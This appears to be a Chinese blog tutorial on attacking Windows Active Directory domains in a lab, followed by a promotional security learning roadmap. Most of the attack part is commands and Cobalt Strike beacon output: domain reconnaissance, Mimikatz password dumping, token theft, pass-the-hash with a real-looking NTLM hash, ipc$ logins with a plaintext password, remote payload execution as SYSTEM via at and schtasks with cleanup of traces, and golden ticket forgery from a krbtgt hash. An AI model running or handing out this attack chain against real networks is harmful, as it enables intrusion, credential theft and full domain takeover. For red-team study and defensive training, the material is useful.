域渗透常规方法和思路
- 1、域内信息收集
- 1.1、获取当前用户信息
- 1.1.1、获取当前用户与域 SID
- 1.1.2、查询指定用户的详细信息
- 1.2、判断是否存在域
- 1.2、查询域内所有计算机
- 1.3、查询域内所有用户组列表
- 1.4、查询所有域成员计算机列表
- 1.5、获取域密码信息
- 1.6、获取域信任信息
- 1.7、查找域控制器
- 1.7.1、判断用户是否在域
- 1.7.2、查看域控制器的机器名
- 1.7.3、查看域控制的主机名
- 1.7.4、查看域控 IP
- 1.7.5、查看域控制的主机名
- 1.7.6、查看域控制器组
- 1.8、查询当前域内存活主机
- 2、判断本地管理员
- 3、运行 Mimikatz读取密码
- 4、登录认证
- 4.1、Access Token 登录令牌
- 4.2、散列认证
- 4.3、IPC 连接
- 4.4、黄金票据(Golden Ticket)
1、域内信息收集
1.1、获取当前用户信息
1.1.1、获取当前用户与域 SID
whoami /all
1.1.2、查询指定用户的详细信息
# 查询本地用户详细信息 net user user01 # 查询域用户详细信息 net user tester01 /domain1.2、判断是否存在域
ipconfig /all systeminfonet view /domain- 若是此命令在显示域处显示 WORKGROUP,则不存在域;
- 若是报错:发生系统错误 5,则存在域,但该用户不是域用户
net config workstationnet localgroup administrators查看本机管理员(通常会包含有域用户)
1.2、查询域内所有计算机
net view /domain:xxx
1.3、查询域内所有用户组列表
net group /domain
1.4、查询所有域成员计算机列表
net group "domain computers" /domain
1.5、获取域密码信息
可以获取域密码策略设置、长短、错误锁定等信息
net accounts /domain
1.6、获取域信任信息
nltest /domain_trusts
1.7、查找域控制器
1.7.1、判断用户是否在域
net time /domain
域存在且用户在域内
存在域,当前用户不是域用户
当前网络环境为工作组,不存在域
1.7.2、查看域控制器的机器名
nltest /dclist:god
1.7.3、查看域控制的主机名
nslookup -type=SRV _ldap._tcp
1.7.4、查看域控 IP
ping DC.test.lab
nslookup dc
判断域控制器和DNS 服务器是否在同一服务器上nslookup test.lab
1.7.5、查看域控制的主机名
nslookup -type=SRV _ldap._tcp
1.7.6、查看域控制器组
net group "domain controllers" /domain
实际网络中,一个域内一般存在两台或两台以上的域控制器,作为主备。
netdom query pdc
netdom不是系统自带工具,需要下载安装
1.8、查询当前域内存活主机
利用 windows 内置命令收集
net group "domain computers" /domain
利用NetBIOS 探测内网nbtscan 192.168.52.0/24
2、判断本地管理员
net localgroup "administrators"
3、运行 Mimikatz读取密码
4、登录认证
4.1、Access Token 登录令牌
Access Token : 保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。
以下是令牌窃取的过程:
- 使用 ps 列出进程
- 使用 steal_token [pid] 窃取令牌
- 使用 getuid 找到你是谁
- 使用 rev2self移除令牌
方法1:偷取token
到进程中偷取token:
右键要横向的主机,选择psexec64:
选择一个已经获得的凭据或者勾选使用当前令牌,并选择监听器与会话即可:
当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的SYSTEM 权限
方法2:制作token
查看当前用户身份信息是否本地域用户,如不是则需要获取本地域用户的进程:
steal_token 2116使用命令make_token domain\user password伪造一个token:
查看一下当前会话 uid
访问dc的默认共享:
4.2、散列认证
- mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
- cobalt strike自动的从那个进程中窃取令牌并关闭
复制ntm哈希
pth 命令获取信任pth GOD\Administrator f76d5be6348a96263e8bcb0f49552fbb
最后使用命令移除当前窃取的令牌
rev2self4.3、IPC 连接
IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
利用条件:
- 开启了139、445端口;
- 管理员开启了默认共享;
连接失败原因:
- 用户名密码错误。
- 目标没有打开ipc$默认共享。
- 不能成功连接目标的139、445端口
- 命令输入错误。
建立一个ipc$
前提需要获取到账号密码,需要使用logonpasswords读取
shell net use \\192.168.52.138\ipc$ "xiaoc@123" /user:administrator
在使用net use 命令与远程目标机器建立ipc$后,可以使用dir 命令列出远程主机中的文件。
shell dir \\192.168.52.138\c$
在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的/S参数列出远程主机上运行的进程。
使用net time命令确定远程机器当前的系统时间。
shell tasklist /S 192.168.52.138
添加计划任务
at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008
之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下 因为当前域控服务器使用的是server2008
复制远程文件到目标服务器上(域控服务器,假设可以出网)shell copy C:\Users\Administrator\Desktop\testartifact_x86.exe \\192.168.52.138\c$
使用at命令添加定时执行payload文件shell at \\192.168.52.138 9:22:00 c:\testartifact_x86.exe
执行成功
删除使用at 命令创建计划任务的记录。shell at \\10.1.1.2 2 /del
Windows Vista、Windows Server 2008 及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。
shell schtasks /create /s 10.1.1.2 /tn test /sc onstart /tr c:\test_msf_local.exe /ru system /f
这条命令的解释是在IP 为10.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system 的权限执test_msf_local.exe。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数,在末尾追加:/u administrator /p “密码”。
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
删除任务schtasks /delete /s 10.1.1.2 /tn "test" /f
删除ipc$连接
net use \\目标ip /del /y在使用schtasks命令时,会在系统中留下日志文件
C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
4.4、黄金票据(Golden Ticket)
获取用户名、域名、域的SID值
# 获取当前域 [07/10 10:43:39] beacon> shell net view /domain [07/10 10:43:39] [*] Tasked beacon to run: net view /domain [07/10 10:43:40] [+] host called home, sent: 47 bytes [07/10 10:43:53] [+] received output: Domain ------------------------------------------------------------------------------- GOD 命令成功完成。 # 获取域内用户 [07/10 10:44:17] beacon> shell net view /domain:god [07/10 10:44:17] [*] Tasked beacon to run: net view /domain:god [07/10 10:44:17] [+] host called home, sent: 51 bytes [07/10 10:44:43] [+] received output: 服务器名称 注解 ------------------------------------------------------------------------------- \\OWA \\ROOT-TVI862UBEH 命令成功完成。 [07/10 10:45:02] beacon> shell whoami /user [07/10 10:45:02] [*] Tasked beacon to run: whoami /user [07/10 10:45:02] [+] host called home, sent: 43 bytes [07/10 10:45:02] [+] received output: 用户信息 ---------------- 用户名 SID ================= ============================================= god\administrator S-1-5-21-2952760202-1353902439-2381784089-500 #域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字 #SID 就是S-1-5-21-2952760202-1353902439-2381784089获取DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取
OWA\krbtgt 58e91a5ac358d86513ab224312314061右击会话,生成黄金票据
注意: Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于
teamssix.com 的格式
[07/10 10:57:38] beacon> mimikatz kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt [07/10 10:57:38] [*] Tasked beacon to run mimikatz's kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt command [07/10 10:57:38] [+] host called home, sent: 313667 bytes [07/10 10:57:40] [+] received output: User : administrator Domain : god.cm (GOD) SID : S-1-5-21-2952760202-1353902439-2381784089 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 58e91a5ac358d86513ab224312314061 - rc4_hmac_nt Lifetime : 2024/7/10 10:57:38 ; 2024/7/10 18:57:38 ; 2024/7/17 10:57:38 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'administrator @ god.cm' successfully submitted for current session建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)
shell dir \\DC\C$最后
网络安全需要学习那些知识
网络安全零基础入门学习路线&规划
初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。
网络安全工程师企业级学习路线
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
一些我自己买的、其他平台白嫖不到的视频教程:
要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】